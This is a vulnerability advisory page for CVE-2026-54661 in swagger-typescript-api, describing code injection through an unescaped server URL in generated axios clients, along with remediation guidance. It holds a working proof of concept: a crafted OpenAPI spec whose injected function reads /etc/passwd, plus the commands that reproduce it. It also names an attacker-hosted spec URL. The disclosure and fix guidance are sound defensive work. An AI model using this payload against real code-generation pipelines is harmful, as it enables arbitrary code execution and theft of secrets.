Skip to main content

swagger-typescript-api CVE-2026-54661

| EUVDEUVD-2026-50365 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-38c3-wv3c-v3xj
8.3
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
Share

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY
8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI
8.3 HIGH

Remote attacker-supplied spec (AV:N, PR:N) but victim must generate and instantiate the axios client (UI:R, AC:H); injected code runs in the consumer's context (S:C) with full RCE (C/I/A:H).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 29, 2026 - 15:01 vuln.today
Analysis Generated
Jul 29, 2026 - 15:01 vuln.today
CVE Published
Jul 29, 2026 - 14:31 github-advisory
HIGH 8.3

DescriptionCVE.org

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding *object-literal argument* of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.

This is the *axios* sibling of the previously reported fetch-client RCE - same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix - sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 - closes both at once.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

ts
return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:

ejs
constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function - escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) - only replaces */ and is not applied to this path.

The injection sits inside a JavaScript *object literal* (the argument to axios.create({...})), so simple statement-level injection is not directly possible - but computed property keys are. A spec value of the form:

URL", [(IIFE)()]: 0, dummy: "

produces the following object literal:

js
axios.create({
  ...axiosConfig,
  baseURL: axiosConfig.baseURL || "URL",
  [(IIFE)()]: 0,
  dummy: ""
})

The IIFE evaluates eagerly when the object literal is constructed - i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:

  • Every README example in this repository does const api = new Api() at module top level.
  • Api (in default/api.ejs) extends HttpClient, so new Api() invokes the HttpClient constructor via super().
  • Top-level const api = new Api() runs at module load - the consumer cannot import without instantiating in the documented usage pattern.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "

Minimal payload spec:

json
{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

bash
npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  new mod.HttpClient();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (constructor - payload, Biome-formatted):

ts
constructor({
  securityWorker,
  secure,
  format,
  ...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
  this.instance = axios.create({
    ...axiosConfig,
    baseURL: axiosConfig.baseURL || "https://api.example.com",
    [(async () => {
      try {
        const fs = await import("node:fs");
        const data = fs.readFileSync("/etc/passwd", "utf8");
        fs.writeFileSync("/tmp/sta_canary", data);
      } catch (e) {}
      return "pwned";
    })()]: 0,
    dummy: "",
  });
  this.secure = secure;
  this.format = format;
  this.securityWorker = securityWorker;
}

The [(async () => { ... })()]: 0 is a real computed object-literal key - Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:

  • sta generate --http-client axios --url https://attacker.example/openapi.json - a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import - Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.

Privilege: the IIFE runs with the full privileges of the importing process - read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

ts
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal - at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form - fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

AnalysisAI

Arbitrary code execution in swagger-typescript-api (npm) versions <= 13.12.1 arises when the generator emits an axios HTTP client from an attacker-controlled OpenAPI spec: the unescaped servers[0].url is interpolated raw into the axios.create({...}) call inside the generated HttpClient constructor, letting a crafted URL break out of the string literal and inject a computed-property-key IIFE that runs on every new HttpClient()/new Api(). Any consumer who generates and then instantiates the client executes attacker code with the importing process's privileges. A detailed self-contained proof-of-concept exists (exfiltrating /etc/passwd), so publicly available exploit code exists; this is not listed in CISA KEV and there is no evidence of active exploitation.

Technical ContextAI

swagger-typescript-api is a Node.js code generator that turns OpenAPI/Swagger specifications into TypeScript API clients using the Eta templating engine. The root cause is a template-injection / code-injection class (CWE-74 per NVD, more precisely CWE-94 code injection and CWE-1336 template-engine injection): createApiConfig in src/code-gen-process.ts:591 copies swaggerSchema.servers[0].url into apiConfig.baseUrl with no escaping, and the axios template templates/base/http-clients/axios-http-client.ejs:71 emits it via Eta's raw <%~ %> interpolation directly into a double-quoted TS string literal (baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>"). Because the sink is a JavaScript object literal, statement injection is not directly possible, but a computed property key [ (IIFE)() ]: 0 executes eagerly when the object is constructed. The only escaping helper in the codebase, escapeJSDocContent, merely strips */ and is never applied here. The affected package is identified by CPE pkg:npm/swagger-typescript-api. This is the axios sibling of a separately reported fetch-client variant (GHSA-hqj5-cw9f-rx67) sharing the same upstream variable; the vendor patch also addresses enum-value injection, route-path injection, and remote-spec $ref SSRF/token-exfiltration issues bundled into the same release.

RemediationAI

Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 or later (fixed release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes apiConfig.baseUrl once at the source in src/code-gen-process.ts via the new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de); this single change closes both the axios and fetch variants. Until upgraded, only generate clients from OpenAPI specs you fully control and treat third-party, vendor, partner, or contributor-modifiable specs as untrusted input - the practical compensating control is to validate or sanitize servers[].url before generation (for example reject any value containing ", \, or newline characters), with the trade-off that legitimate but unusual server URLs may be rejected. Additionally, review any already-generated axios/fetch client files for injected computed-property keys or IIFEs in the HttpClient constructor before importing them, and pin/lock generator versions in CI so builds cannot silently regenerate against a poisoned spec.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

CVE-2026-54661 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy